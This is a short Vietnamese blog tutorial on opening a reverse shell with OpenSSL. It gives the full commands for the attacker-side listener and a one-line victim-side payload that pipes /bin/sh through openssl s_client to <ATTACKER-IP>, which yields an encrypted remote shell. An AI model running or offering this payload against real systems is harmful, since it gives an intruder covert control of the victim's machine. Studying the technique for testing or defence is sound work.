Giap Hiep

I'm Giap Hiep

I'm a web developer, a gymer. I enjoy share something i know that help people's work!
Giap Hiep

Reverse Shell bằng OpenSSL

Khi tìm hiểu về shell và cách thức lên shell trên hệ thống mục tiêu mình thấy rất thú vị. Nên đã viết bài này để chia sẻ cái mình đã nghe ngóng và tìm hiểu được.

Chưa biết shell là gì hãy đọc bài Shell (computing) trên Wikipedia.

Trên Google có rất nhiều bài giải thích shell là gì và sử dụng cái gì để có thể lên được shell trên hệ thống của mục tiêu.

Sau một thời gian tìm hiểu mình rút ra rằng có rất nhiều cách khác nhau được sử dụng để lên shell. Ta có thể sử dụng netcat, python, php, .net, vân vân và mây mây. Và sau đó mình tìm được một cách lên shell khác đó là sử dụng OpenSSL.

Chuẩn bị

Đầu tiên ta cần tạo ra khóa trên máy tính mà mục tiêu sẽ kết nối tới (trong thực tế đó chính là server của mình).
Chạy câu lệnh dưới để tạo khóa

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Khi hệ thống yêu cầu mình nhập thì nhấn Enter cho đến khi hoàn thành.

Tạo kết nối lắng nghe

Sau khi đã tạo xong khóa tiếp theo là tạo lắng nghe trên server.
Chạy lệnh dưới để tạo kết nối lắng nghe:

openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>

Một cổng đang mở để chờ cho mục tiêu kết nối tới.

Thực hiện reverse shell

Khi đã mở một lắng nghe, trên máy của nạn nhân ta chạy lệnh để tiến hành reverse shell vể máy của ta.
Chạy lệnh dưới

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

Trong demo mình sử dụng máy ubuntu để làm máy tính mục tiêu.

Như kết quả trên hình ta đã thực hiện reverse shell thành công.

Bonus

Khi thực hiện reverse shell thì ta không thể sử dụng vim được. Nhưng với OpenSSL thì ta có thể sự dụng được.

Tham khảo

https://medium.com/@int0x33/day-43-reverse-shell-with-openssl-1ee2574aa998